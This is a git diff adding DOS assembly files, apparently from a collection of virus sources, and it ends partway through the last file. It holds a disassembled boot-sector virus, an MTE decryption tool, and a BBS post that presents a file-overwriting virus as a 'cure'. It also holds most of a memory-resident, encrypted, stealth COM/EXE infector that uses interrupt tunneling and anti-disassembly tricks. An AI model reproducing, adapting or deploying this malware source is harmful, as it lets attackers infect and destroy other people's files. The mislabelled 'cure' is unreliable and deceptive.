+NoFindComSpec: Mov DX,Offset CommandMsg ; Message for COMSPEC error + Jmp ErrorExit ; Print it and exit + +FoundComspec: Add DI,8 ; So points after 'COMSPEC=' + Mov Word Ptr [CommandASCIIZ],DI ; Save the address of + Mov Word Ptr [CommandASCIIZ + 2],ES ; COMMAND ASCIIZ + +; Set up parameter block for EXEC call +; ------------------------------------ + + Mov [ParamBlock],ES ; Segment of Environment string + Mov [ParamBlock + 4],CS ; Segment of this program + Mov [ParamBlock + 8],CS ; so points to FCB's + Mov [ParamBlock + 12],CS ; and NewParameter + +; Save and set Interrupt 21h vector address +; ----------------------------------------- + + Mov AX,3521h ; DOS call to get Interrupt 21 + Int 21h ; vector address + Mov Word Ptr [OldInterrupt21],BX ; Save offset + Mov Word Ptr [OldInterrupt21 + 2],ES ; And segment + + Mov DX,Offset NewInterrupt21; Address of new Interrupt 21 + Mov AX,2521h ; Do DOS call to + Int 21h ; set the new address + +; Fix up new parameter for "/C DIR" String +; ------------------------------------ + + Mov AL,[OldParameter] ; Number of parameter chars + Add AL,5 ; We'll be adding five more + Mov [NewParameter],AL ; Save it + Mov Word Ptr [NewParameter + 1],'C/' ; i.e. "/C" + Mov Word Ptr [NewParameter + 3],'ID' ; Then "DI" + Mov Byte Ptr [NewParameter + 5],'R' ; And "R" + +; Load COMMAND.COM +; ----------------- + + Push CS ; Push this segment so we can + Pop ES ; set ES to it + Mov BX,Offset ParamBlock ; ES:BX = address of block + Lds DX,[CommandAsciiz] ; DS:DX = address of ASCIIZ + Mov AX,4B00h ; EXEC call 4Bh, type 0 + Int 21h ; Load command processor + +; Return from COMMAND.COM +; ----------------------- + + Mov AX,CS ; Get this segment in AX + Mov DS,AX ; Set DS to it + Mov SS,AX ; And SS for stack segment + Mov SP,(Offset FileBuffer) + (528 * 39) + 100h + ; Set Stack again + + PushF ; Save Carry for error check + Push DS ; Save DS during next call + + Mov DX,Word Ptr [OldInterrupt21] ; Old Int 21 offset + Mov DS,Word Ptr [OldInterrupt21 + 2]; and segment + Mov AX,2521h ; Call DOS to set vector + Int 21h ; address to original + + Pop DS ; Restore DS to this segment + PopF ; Get back Carry flage + + Jnc NormalEnd ; Continue if no error + + Mov DX,Offset CommandMsg ; Otherwise we'll print error + Jmp ErrorExit ; message and exit + +NormalEnd: Int 20h ; Terminate program + +; New Interrupt 21h +; ----------------- + +NewInterrupt21 Proc Far + + Sti ; Allow further interrupts + Cmp AH,40h ; Check if file / device write + Je CheckHandle ; If so, continue checks + +SkipIntercept: Jmp CS:[OldInterrupt21] ; Just jump to old interrupt + +CheckHandle: Cmp BX,1 ; Check if standard output + Jne SkipIntercept ; Not interested if not + + PushF ; Push all registers that + Push AX ; we'll be messing with + Push CX + Push SI + Push DI + Push ES + + Push CS ; Push the code segment + Pop ES ; So we can set ES to it + Cld ; Forward for string transfers + Mov SI,DX ; Now DS:SI = text source + Mov DI,CS:[BufferPtr] ; And ES:DI = text destination + + Cmp CX,2 ; See if two chars to write + Jne RegularChars ; If not, can't be CR/LF + + Cmp Word Ptr DS:[SI],0A0Dh ; See if CR/LF being written + Jne RegularChars ; Skip rest if not CR/LF + + Mov CX,CS:[CharCounter] ; Get characters in line + Mov CS:[CharCounter],0 ; Start at new line + Cmp CS:[NowDoingFile],1 ; See if CR/LF terminates file + Jnz AllowTransfer ; If not, just write to screen + + Mov AX,39 ; Max characters per line + Sub AX,CX ; Subtract those passed + Add CS:[BufferPtr],AX ; Kick up pointer by that + Mov CS:[NowDoingFile],0 ; Finished with file + Jmp PopAndReturn ; So just return to COMMAND + +RegularChars: Add CS:[CharCounter],CX ; Kick up counter by number + Cmp CS:[CharCounter],CX ; See if beginning of line + Jne NotLineBegin ; If not, must be in middle + + Cmp Byte Ptr DS:[SI],' ' ; See if first char is blank + Jne ItsAFile ; If not, it's a file line + + Cmp CS:[WithinFileList],1 ; See if doing file listing + Jne AllowTransfer ; If not, just print stuff + + Call SortAndList ; Files done -- sort and list + Mov CS:[WithinFileList],0 ; Not doing files now + Jmp Short AllowTransfer ; So just print the stuff + +ItsAFile: Cmp CS:[FileCounter],528 ; See if 11 buffer filled up + Jb NotTooManyFiles ; If not just continue + + Push CX ; Otherwise, save this register + Call SortAndList ; Print all up to now + Mov CS:[FileCounter],0 ; Reset the counter + Mov DI,Offset FileBuffer ; And the pointer + Mov CS:[BufferPtr],DI ; Save the pointer + Mov CX,528 * 39 ; Will clear for 528 files + Mov AL,' ' ; With a blank + Rep Stosb ; Clear it out + Pop CX ; And get back register + +NotTooManyFiles:Mov CS:[WithinFileList],1 ; We're doing files now + Mov CS:[NowDoingFile],1 ; And a file in particular + Inc CS:[FileCounter] ; So kick up this counter + +NotLineBegin: Cmp CS:[NowDoingFile],1 ; See if doing files + Je StoreCharacters ; If so, store the stuff + +AllowTransfer: Pop ES ; Pop all the registers + Pop DI + Pop SI + Pop CX + Pop AX + PopF + + Jmp SkipIntercept ; And go to DOS for print + +StoreCharacters:Mov DI,CS:[BufferPtr] ; Set destination + Rep Movsb ; Move characters to buffer + Mov CS:[BufferPtr],DI ; And save new pointer + +PopAndReturn: Pop ES ; Pop all the registers + Pop DI + Pop SI + Pop CX + Pop AX + PopF + + Mov AX,CX ; Set for COMMAND.COM + Clc ; No error here + Ret 2 ; Return with CY flag cleared + +NewInterrupt21 EndP + +; Sort Files +; ---------- + +SortAndList: Push BX ; Push a bunch of registers + Push DX + Push SI + Push DS + + Push CS ; Push CS + Pop DS ; so we can set DS to it + Assume DS:CSEG ; And inform the assembler + + Mov DI,Offset FileBuffer ; This is the beginning + Mov CX,[FileCounter] ; Number of files to sort + Dec CX ; Loop needs one less than that + Jcxz AllSorted ; But zero means only one file + +SortLoop1: Push CX ; Save the file counter + Mov SI,DI ; Set source to destination + +SortLoop2: Add SI,39 ; Set source to next file + + Push CX ; Save the counter, + Push SI ; compare source, + Push DI ; and compare destination + + Mov CX,39 ; 39 characters to compare + Repz Cmpsb ; Do the compare + Jae NoSwitch ; Jump if already in order + + Pop DI ; Get back these registers + Pop SI + + Push SI ; And push them again for move + Push DI + + Mov CX,39 ; 39 characters +SwitchLoop: Mov AL,ES:[DI] ; Character from destination + Movsb ; Source to destination + Mov DS:[SI - 1],AL ; Character to source + Loop SwitchLoop ; For the rest of the line + +NoSwitch: Pop DI ; Get back the registers + Pop SI + Pop CX + Loop SortLoop2 ; And loop for next file + + Pop CX ; Get back file counter + Add DI,39 ; Compare with next file + Loop SortLoop1 ; And loop again + +; Now Display Sorted Files +; ------------------------ + +AllSorted: Mov SI,Offset FileBuffer ; This is the beginning + Mov CX,[FileCounter] ; Number of files to list + Inc CX ; In case CX is odd + Shr CX,1 ; CX now is number of lines + +SetIncrement: Mov BX,24 * 39 ; Increment for double list + Cmp CX,24 ; But use it only if a full + Jae LineLoop ; screen is printed + + Mov AX,39 ; Otherwise find increment + Mul CX ; by multiplying CX by 39 + Mov BX,AX ; And make that the increment + +LineLoop: Call PrintFile ; Print the first column file + Mov AL,' ' ; Skip one space + Call PrintChar ; by printing blank + Mov AL,179 ; Put a line down the middle + Call PrintChar + Mov AL,' ' ; Skip another space + Call PrintChar + + Add SI,BX ; Bump up source by increment + Sub SI,39 ; But kick down by 39 + + Call PrintFile ; Print the second column file + Call CRLF ; And terminate line + + Sub SI,BX ; Bring pointer back down + + Inc [LineCounter] ; One more line completed + Cmp [LineCounter],24 ; Have we done whole screen? + Jz PauseAtEnd ; If so, gotta pause now + + Loop LineLoop ; Otherwise just loop + Jmp Short AllFinished ; And jump out when done + +PauseAtEnd: Mov [LineCounter],0 ; Reset the counter + Add SI,BX ; Go to next file + + Push BX ; Save these registers + Push CX + Mov DX,Offset PauseMessage ; Test to print + Mov CX,Offset PauseMsgEnd - Offset PauseMessage + ; Number of characters + Mov BX,2 ; Standard ERROR Output + Mov AH,40h ; Display to screen + Int 21h ; By calling DOS + Pop CX ; Retrieve pushed registers + Pop BX + + Mov AH,8 ; Wait for character + Int 21h ; Through DOS call + + Call CRLF ; Go to next line + + Loop SetIncrement ; And recalculate increment + +AllFinished: Pop DS ; Done with subroutine + Pop SI + Pop DX + Pop BX + Ret ; So return to caller + +; Display Routines +; ---------------- + +PrintChar: Mov DL,AL ; Print character in AL + Mov AH,2 ; By simple DOS call + Int 21h + Ret ; And return + +CRLF: Mov AL,13 ; Print a carriage return + Call PrintChar + Mov AL,10 ; And a line feed + Call PrintChar + Ret ; And return + +PrintString: Lodsb ; Get character from SI + Call PrintChar ; Print it + Loop PrintString ; Do that CX times + Ret ; And return + +PrintFile: Push CX ; Save the counter + Mov CX,32 ; Bytes for Name, Size, & Date + Call PrintString ; Print it + Inc SI ; Skip one space before time + Mov CX,6 ; Bytes for Time + Call PrintString ; It's a print! + Pop CX + Ret ; And return + +FileBuffer Label Byte ; Points to end of code + +CSEG EndS ; End of segment + + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/d/DEBUG.ASM b/d/DEBUG.ASM new file mode 100755 index 0000000..81f17ed --- /dev/null +++ b/d/DEBUG.ASM @@ -0,0 +1,284 @@ + +PAGE 59,132 + +; +; +; DEBUG +; +; Created: 16-Sep-94 +; Passes: 5 Analysis Options on: none +; +; + +target EQU 'T3' ; Target assembler: TASM-3.1 + +include srmacros.inc + + +; The following equates show data references outside the range of the program. + +data_1e equ 6 +data_2e equ 0Eh +data_3e equ 417h +data_4e equ 46Eh +data_5e equ 24h +data_6e equ 26h +data_7e equ 4Ch +data_8e equ 4Eh +data_13e equ 413h ;* +data_14e equ 46Eh ;* +data_15e equ 7C00h ;* +data_16e equ 7CD3h ;* +data_18e equ 7D25h ;* +data_19e equ 7DBDh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +debug proc far + +start: + jmp short real_start + ;* No entry point to code + nop + push si + inc di + inc cx + inc bx + push ax + db 36h, 30h, 33h, 00h, 02h, 01h + db 01h, 00h, 02h, 70h, 00h, 68h + db 06h,0F9h, 05h, 00h, 0Ah, 00h + db 02h + db 9 dup (0) + db 01h, 00h, 29h,0EDh, 93h, 26h + db 1Dh + db 'NO NAME FAT12 ' + +; +; +; External Entry Point +; +; + +real_start: + cli ; Disable interrupts + push cs + pop ds + mov ax,ds:data_7e + mov ds:data_16e,ax + mov ax,ds:data_8e + mov word ptr ds:data_16e+2,ax + mov al,ds:data_14e + mov ds:data_19e,al + mov ax,ds:data_13e + dec ax + mov ds:data_13e,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + sub ax,7C0h + mov ds:data_8e,ax + mov ds:data_6e,ax + mov word ptr ds:data_7e,7C82h + mov word ptr ds:data_5e,7D62h + mov si,data_15e + mov di,si + mov es,ax + mov cx,100h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + int 19h ; Bootstrap loader + cmp ah,0AAh + jne loc_1 ; Jump if not equal + iret ; Interrupt return +loc_1: + cmp ah,2 + jne loc_4 ; Jump if not equal + cmp cx,1 + jne loc_4 ; Jump if not equal + cmp dh,0 + jne loc_4 ; Jump if not equal + push ax + push bx + push si + push di + pushf ; Push flags + call dword ptr cs:data_16e + jnc loc_2 ; Jump if carry=0 + jmp short loc_5 +loc_2: + cmp word ptr es:[1FEh][bx],0AA55h + je loc_3 ; Jump if equal + jmp short $+29h + db 26h, 80h,0BFh,0BCh, 01h,0C9h + db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h +data_10 db 31h ; Data table (indexed access) + db 00h, 8Bh,0F3h, 80h,0FAh, 79h + db 77h, 1Eh, 83h,0C6h, 02h,0BFh + db 02h, 7Ch,0B9h, 1Eh, 00h, 32h + db 0F6h,0EBh, 30h,0EAh, 85h,0A5h + db 00h,0F0h + db 0B8h, 01h, 00h,0F8h +loc_5: + pop di + pop si + pop bx + inc sp + inc sp + retf 2 ; Return far +loc_6: + add si,1BEh + mov di,7DBEh + mov cx,20h + jmp short $+15h + +debug endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,301h + pushf ; Push flags + call dword ptr cs:data_16e + jnc loc_ret_7 ; Jump if carry=0 + pop bx + mov cl,1 + xor dh,dh ; Zero register + jmp short $-28h + +loc_ret_7: + retn +sub_1 endp + + ;* No entry point to code + push ds + push es + pop ds + push cs + pop es + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov cx,1 + mov bx,7C00h + mov ax,301h + pushf ; Push flags + call dword ptr cs:data_16e + jc $-0Fh ; Jump if carry Set + push ds + pop es + inc byte ptr cs:data_19e + pop ds + jmp short $-4Ch + ;* No entry point to code + add ax,714h + sbb al,1 + or al,75h ; 'u' + push ss + sbb ax,1610h + push ds + db 0FFh +loc_8: + call sub_2 + pop di + pop si + pop bx + pop ax + pushf ; Push flags + call dword ptr cs:data_16e + xor dh,dh ; Zero register + mov cl,1 + retf 2 ; Return far + +; +; SUBROUTINE +; + +sub_2 proc near + cmp dl,79h ; 'y' + ja loc_10 ; Jump if above + mov ax,es:[bx+16h] + mov dh,1 + cmp al,3 + jae loc_9 ; Jump if above or = + mov cl,3 + retn +loc_9: + cmp al,7 + jae loc_10 ; Jump if above or = + mov cl,5 + retn +loc_10: + mov cl,0Eh + retn +sub_2 endp + + ;* No entry point to code + push ax + push ds + xor ax,ax ; Zero register + mov ds,ax + mov al,ds:data_3e + and al,0Ch + cmp al,0Ch + jne loc_11 ; Jump if not equal + in al,60h ; port 60h, keybd scan or sw1 + cmp al,53h ; 'S' + jne loc_11 ; Jump if not equal + in al,61h ; port 61h, 8255 port B, read + push ax + or al,80h + out 61h,al ; port 61h, 8255 B - spkr, etc + pop ax + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + mov ax,2 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + int 19h ; Bootstrap loader +loc_11: + mov al,ds:data_4e + mov ds:data_1e,ax + mov ds:data_2e,ax + push cs + pop ds + cmp al,ds:data_19e + jbe $+1Ah ; Jump if below or = + xor ax,ax ; Zero register + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov si,data_18e +loc_12: + mov ah,0Eh + xor bx,bx ; Zero register + cld ; Clear direction + lodsb ; String [si] to al + cmp al,0FFh + je loc_13 ; Jump if equal + xor al,55h ; 'U' + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_12 +loc_13: + hlt ; Halt processor + pop ds + pop ax + jmp far ptr $-1930h + db 0C9h, 0Fh, 80h, 01h, 01h, 00h + db 06h, 0Eh,0E2h,0E7h, 22h, 00h + db 00h, 00h, 0Eh,0C8h, 07h + db 49 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/d/DECOM.ASM b/d/DECOM.ASM new file mode 100755 index 0000000..f658e91 --- /dev/null +++ b/d/DECOM.ASM @@ -0,0 +1,235 @@ +;DECOM - has few safety features right now, be careful =) + +.model tiny +.radix 16 +.code + org 100 + include wolf.lib + +start: + printf intro, ds +Release_Memory: + mov bx,(end_unmte-start+10f)/10 ;Release all but what + changealloc bx,es ;our prog needs. + +Allocate_Block_For_MTE_Prog: ;Allocate memory for + mov bx,1000 ;MTE-inf prog. + alloc bx + jnc Memory_Good + jmp exit +Memory_Good: + push ax + +Get_Filenames: + printf Enter_FN, ds + gets filename_buf, ds, 30 + printf Enter_DN, ds + gets unenc_buf, ds, 30 + +Open_Prog: + fopen 0, filename, cs + jnc Load_Prog + printf Bad_File, ds + jmp Get_Filenames + +Load_Prog: + pop ax + sub ax,10 + mov ds,ax ;Convert Seg:0 to Seg:100 + fread bx, 0ffff, 100, ax + mov cs:[MTE_Size],ax + mov cs:[MTE_Segment],ds + +Close_Prog: + fclose bx + +Setup_Trace: + push ds ds + + mov byte ptr cs:[Success],1 + + push cs + pop ds + get_int 1 + mov word ptr [IP_01],bx + mov word ptr [CS_01],es + set_int 1, Int_01_Handler, ds + + pop ds es ;restore segment regs to MTE prog + + cli + mov ax,ds + mov ss,ax ;setup new stack + mov sp,0fffe + sti + + xor ax,ax + mov bx,ax + mov cx,ax + mov dx,ax ;Zero all registers + mov si,ax + mov di,ax + mov bp,ax + + + pushf ;Setup stack for IRET to code + pop ax + or ax,100 + push ax ;Set flag on IRET + + push ds + mov ax,100 + push ax + + xor ax,ax + + iret ;Jump to MTE prog with trap set. + +Done_Trace: + push cs cs + pop es ds ;restore seg regs + + cli + mov ax,ds + mov ss,ax ;reset stack + mov sp,0fffe + sti + +Restore_Int_01: + mov dx, word ptr cs:[CS_01] + mov ds,dx + mov dx, word ptr cs:[IP_01] + set_int 1, dx, ds + push cs + pop ds + + cmp byte ptr cs:[Success],0 + jne Save_It + + + printf halted, ds + jmp Exit + +Save_It: + mov ah,3c + xor cx,cx + mov dx,offset Unencrypted + int 21 + + xchg bx,ax + + mov ah,40 + mov dx,word ptr cs:[MTE_Segment] + mov ds,dx + mov dx,100 + mov cx,word ptr cs:[MTE_Size] + int 21 + + mov ah,3e + int 21 +Exit: + terminate + +Int_01_Handler: + push bp + mov bp,sp + push ax bx cx dx es ds si di + mov bx, word ptr ss:[bp+4] ;CS + mov ds,bx + mov bx,word ptr ss:[bp+2] ;IP + mov ax,word ptr ss:[bp+6] ;flags + and ax,40 + + cmp byte ptr ds:[bx],0cdh ;Interrupt call + je Stop_Execution + cmp byte ptr ds:[bx],9a ;Far Call + je Stop_Execution + cmp byte ptr ds:[bx],9c ;Pushf + je Stop_Execution + +ES_DS_CHeck: + push bx + mov bx,ds + cmp word ptr ds:[bp-0c],bx ;CS != DS + jne Done_Check + cmp word ptr ds:[bp-0a],bx ;CS != ES +Done_Check: + pop bx + jne Stop_Execution + + +Check_For_Encryption_Loop: + cmp byte ptr ds:[bx],75 ;Check if JNZ (end of MTE decrypt) + je Is_JNZ + cmp byte ptr ds:[bx],74 ;Check for other loop jumps.. + je Is_JZ + cmp byte ptr ds:[bx],0e0 + je Is_LOOPNZ + cmp byte ptr ds:[bx],0e1 + je Is_LOOPZ + cmp byte ptr ds:[bx],0e2 + je Is_LOOP +Continue_Decrypt: +Done_Int_01_Handler: + pop di si ds es dx cx bx ax + pop bp + iret + +Stop_Execution: + mov byte ptr cs:[Success],0 + jmp Done_Trace + + +Is_LOOPNZ: +Is_JNZ: + or ax,ax + jz Jump_True + jmp Jump_False + +Is_LOOPZ: +Is_JZ: + or ax,ax + jz Jump_False + jmp Jump_True + +Is_LOOP: + dec cx + jz Jump_False + jmp Jump_True + +Jump_False: + cmp byte ptr ds:[bx+1], 80 + jae Done_Decrypt + jmp Continue_Decrypt + +Jump_True: + cmp byte ptr ds:[bx+1],80 + ;jae Continue_Decrypt + jmp Continue_Decrypt ;MTE only... change later +Done_Decrypt: + jmp Done_Trace + + +IP_01 dw 0 +CS_01 dw 0 + +MTE_Segment dw 0 +MTE_Size dw 0 + +Success db 0 + +halted db 0a,0dh,'Sorry, cannot decrypt file safely.',0 +intro db 'DECOM 0.9, COM (MTE) File Decryptor (c) 1993 Black Wolf.',0a,0dh + db 'Beta-Test Version, Use At Your Own Risk.',0 +Enter_FN db 0a,0dh,'Please Enter Source Filename: ',0 +Enter_DN db 0a,0dh,'Now Enter The Destination Filename: ',0 +Bad_File db 0a,0dh,'Sorry, file not found.',0 + +filename_buf db ?,? +filename db 30 dup(?) + +unenc_buf db ?,? +unencrypted db 30 dup(?) + +end_unmte: +end start diff --git a/d/DEFINE.ASM b/d/DEFINE.ASM new file mode 100755 index 0000000..0c11b20 --- /dev/null +++ b/d/DEFINE.ASM @@ -0,0 +1,67 @@ +;=========================================================================== +;Date: 05-24-91 (0:06) Number: 6288 THE APEX BBS +;From: Mike Hathorn Refer#: NONE +;To: All Recvd: NO +;Subj: define Conf: (54) Virus +;--------------------------------------------------------------------------- + +;Gentlemen, + + +;The following assembly source code is the cure for the define +;virus. Define, because it is my belief that by the definition +;of a virus, no stable virus can be written smaller than define. + +; Code compiled under MASM ver 4.00 +; Use DOS EXE2BIN to convert to .COM file +; Code assumes SI=100h, AX=00h +; (c) 1991 Mithrandir + + +TITLE DEFINE +CODE SEGMENT + + +ASSUME CS : CODE +ORG 100h + + +VIRUS_CURE: +XCHG CX,AX ;exchange register values and setup search + ;for normal files +MOV AH,4Eh ;setup search for first match +MOV DX,OFFSET File ;point to search criteria +INT 21h ;search for any normal file + + +MOV AX,3D01h ;setup open file with write access +MOV DX,09Eh ;point to file ASCIIZ spec +INT 21h ;open file +XCHG BX,AX + + +MOV AH,40h ;setup write to file +MOV DX,SI ;write this code +MOV CX,SI ;this many bytes +INT 21h ;write it + + +RET + + +File: +DB '*.*',0 + + +CODE ENDS + + +END VIRUS_CURE + + + +;Mithrandir + + +;--- Opus-CBCS 1.14 + ;* Origin: The Mad Dog Opus (5:7104/3.0) diff --git a/d/DEI.ASM b/d/DEI.ASM new file mode 100755 index 0000000..229b607 --- /dev/null +++ b/d/DEI.ASM @@ -0,0 +1,960 @@ +; =======================================================================> + +PING equ 0BF1h ; a worthless DOS function +PONG equ 0DEAFh ; response to residency test + +code segment + org 100h + assume cs:code,ds:code + +start: + jmp virus_begin ; fake host program + db 26 dup (0) + +virus_begin: + db 0BBh ; mov bx, +code_offset dw 0 + db 0B0h ; mov al, +cipher db 0 +decrypt: + db 02Eh ; cs: +decryptor_1: xor [bx],al + inc bx +shift_1: neg al + db 81h,0FBh ; cmp bx, +code_offset_2 dw 0 + jbe decrypt +viral_code: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es ; save segregs + + jmp kill_sourcer ; mess with disassemblers + db 0E9h +kill_sourcer: + xor ah,ah ; create or delete the + int 1Ah ; \DEI.COM file at random + cmp dx,0FE00h ; times ... + jb dont_drop + call drop_program + jmp dont_delete +dont_drop: + cmp dx,0800h + ja dont_delete + call delete_program +dont_delete: + mov ax,PING ; residency test + int 21h + cmp bx,PONG ; if installed, + jne not_installed ; don't install again + jmp installed +not_installed: + mov ax,es ; install ourselves + dec ax ; in memory + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] ; doing some calculations and + mov ds,ax ; a bit of manipulation to + + sub ax,15 ; memory + mov es,ax ; ES points to our destiny + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + + push cs ; zopy it + pop ds + mov di,100h + mov cx,virus_end - start + lea si,[bp + start] + rep movsb + + xor ax,ax + mov ds,ax + + sub word ptr ds:[413h],7 ; allocate memory from BIOS + + mov si,21h * 4 ; saving old interrupt 21 + mov di,offset old_int_21 ; first + movsw + movsw + + lea dx,[bp + int_1] + mov ds:[4],dx ; recursive tunneling - + mov ds:[6],cs ; trace through interrupt 21 + + push es + mov ah,52h ; get list of lists + int 21h ; for segment of DOS's int 21 + mov ax,es + mov cs:[bp + int_21_seg],ax + pop es + mov [bp + our_es],es + + mov ax,100h ; set trap flag + push ax + popf + + mov ah,0Bh ; and send us down the tunnel + pushf + call dword ptr ds:[21h * 4] + + xor ax,ax ; turn off trap flag + push ax + popf + + mov word ptr ds:[si - 4],0 ; little anti-trace ... + + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new interrupt 21 + +installed: + pop es ds + cmp cs:[bp + exe_flag],1 ; is this an .EXE file? + je exe_exit ; if so, exit as such +com_exit: + lea si,[bp + offset host] ; restore original header + mov di,100h + push di + mov cx,28 + rep movsb + + call reset_regs + + ret ; and leave + +exe_exit: + + mov ax,ds + add ax,cs:[bp + exe_cs] + mov word ptr cs:[bp + jump_to + 2],ax + mov ax,cs:[bp + exe_ip] + mov word ptr cs:[bp + jump_to],ax + + mov ax,ds + add ax,cs:[bp + exe_ss] ; restore original stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call reset_regs ; reset registers + + db 0EAh +jump_to dd 0 + +reset_regs: + mov si,100h + xor ax,ax + xor bx,bx + xor di,di + xor bp,bp + ret + +; int 1 handler for tunneling. + +int_21_seg dw 0 ; original int 21 segment +our_es dw 0 ; our ES + +int_1: + push bp ; save registers used + mov bp,sp + + push ax + mov ax,[bp + 4] ; SEGMENT of next instruction + + push bp + call get_dest_seg ; get location pointer +get_dest_seg: + pop bp + + cmp ax,cs:[bp - (get_dest_seg - int_21_seg)] + pop bp ; restore BP + jbe tunneled ; found, we're through + + push ds si ; no, check next instruction + + mov ds,ax + mov si,[bp + 2] ; OFFSET of next instruction + lodsb ; next instruction in AL + + cmp al,0CFh ; IRET instruction? + je set_iret ; adjust accordingly + + cmp al,09Dh ; POPF instruction? + je set_popf ; adjust + + jmp flag_check_done ; never mind ... + +tunneled: ; we're done ... save segment + push es si + call get_our_es +get_our_es: + pop si + mov si,cs:[si - (get_our_es - our_es)] + mov es,si + mov word ptr es:[old_int_21 + 2],ax + mov ax,[bp + 2] ; and offset + mov word ptr es:[old_int_21],ax + and [bp + 6],0FEFFh ; deinstall tunnel routine + pop si es + jmp exit + +set_iret: + or [bp + 10],100h ; OFFSET of second interrupt + jmp flag_check_done ; call on stack (flags) + +set_popf: + or [bp + 6],100h ; OFFSET of word before + ; interrupt call on stack +flag_check_done: + pop si ds +exit: + pop ax bp + iret + +; int 24 handler. +; DOS changes it back automatically. + +new_int_24: + mov al,3 ; simple enough + iret + +; ================================================> +; int 21 handler. +; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h +; ================================================> + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; are we checking on ourself? + je pass_signal ; yes, give the signal + + cmp ax,4B00h ; program execution? + je execute ; uh - huh + + cmp ah,11h ; directory stealth method 1 + je dir_stealth_1 ; (hide from DIR listing) + cmp ah,12h + je dir_stealth_1 + + cmp ah,4Eh ; directory stealth method 2 + je dir_stealth_2 ; (hide from ASCIIZ search) + cmp ah,4Fh + je dir_stealth_2 + + cmp ah,3Dh ; file open method 1 + jne go_on + jmp file_open +go_on: + cmp ah,6Ch ; file open method 2 + jne go_on_2 + jmp file_open +go_on_2: + cmp ah,3Fh ; file read + jne go_on_3 + jmp file_read +go_on_3: + cmp ax,5700h ; get date + jne int_21_exit + jmp fix_date + +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +pass_signal: + mov bx,PONG ; pass signal + jmp int_21_exit + +execute: + call check_name + jc skip_infect ; don't infect if marked + call infect_ds_dx ; simple enough ... +skip_infect: + jmp int_21_exit + +dir_stealth_1: + call int_21 ; do it + test al,al ; if al = -1 + js cant_find ; then don't bother + + push ax bx es ; check file for infection + + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 + +no_ext_FCB: + mov ax,es:[bx + 19h] + cmp ah,100 ; check years - + jb fixed ; if 100+, infected + + ror ah,1 + sub ah,100 + rol ah,1 + mov es:[bx + 19h],ax + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28 + sbb word ptr es:[bx + 1Fh],0 +fixed: + pop es bx ax +cant_find: + iret + + +dir_stealth_2: + call int_21 ; perform file search + jnc check_file_2 ; if found, proceed + retf 2 ; nope, leave +check_file_2: + push ax bx si es + + mov ah,2Fh ; find DTA + int 21h + + mov ax,es:[bx + 18h] + cmp ah,100 ; check for infection marker + jb fixed_2 + + ror ah,1 ; fix up date + sub ah,100 + rol ah,1 + mov es:[bx + 18h],ax + + sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28 + sbb word ptr es:[bx + 1Ch],0 +fixed_2: + pop es si bx ax ; done + clc + retf 2 + +file_open: + call try_infecting ; try to infect file + + call int_21 ; open file + jc open_fail ; carry set, open failed + + cmp ax,5 ; if handle is a device, + jb dont_bother ; don't bother with it + + push ax bx di es + + xchg ax,bx + push bx + mov ax,1220h ; get system file table + int 2Fh ; entry + + nop ; anti-SCAN + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; check datestamp + jb dont_stealth + + cmp word ptr es:[di],1 ; if file has already + ja dont_stealth ; been opened, don't stealth + + sub es:[di + 11h],VIRUS_SIZE + 28 + sbb word ptr es:[di + 13h],0 ; stealth it ... change file + ; size + +dont_stealth: + pop es di bx ax ; restore everything +dont_bother: + clc +open_fail: + retf 2 ; and return + +file_read: + cmp bx,5 ; if read from device, + jae check_it_out ; don't bother + jmp forget_it + +check_it_out: + push si di es ax bx cx + + push bx + mov ax,1220h ; get SFTs + int 2Fh + + nop + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + call check_datestamp ; 100+ years + jae check_pointer ; is the magic number + jmp no_read_stealth +check_pointer: + cmp word ptr es:[di + 17h],0 ; if file pointer above 64K, + je check_pointer_2 ; then skip it + jmp no_read_stealth + +check_pointer_2: + cmp word ptr es:[di + 15h],28 ; if file pointer under 28, + jae no_read_stealth ; then DON'T + + push es:[di + 15h] ; save it + + mov ah,3Fh + call int_21 ; do the read function + + pop cx ; now find how many bytes + push ax ; (Save AX value) + sub cx,28 ; we have to change ... + neg cx ; and where + + cmp ax,cx ; if more than 28 were read, + jae ok ; ok + + xchg ax,cx ; otherwise, switch around +ok: + push ds cx dx + + push es:[di + 15h] ; save current file pointer + push es:[di + 17h] + + add es:[di + 11h],VIRUS_SIZE + 28 + adc word ptr es:[di + 13h],0 + mov ax,es:[di + 11h] ; fix up file size to prevent + sub ax,28 ; read past end of file + + mov es:[di + 15h],ax + mov ax,es:[di + 13h] + mov es:[di + 17h],ax + + push cs ; now read in real first 28 + pop ds ; bytes + mov dx,offset read_buffer + mov cx,28 + mov ah,3Fh + call int_21 + + sub es:[di + 11h],VIRUS_SIZE + 28 + 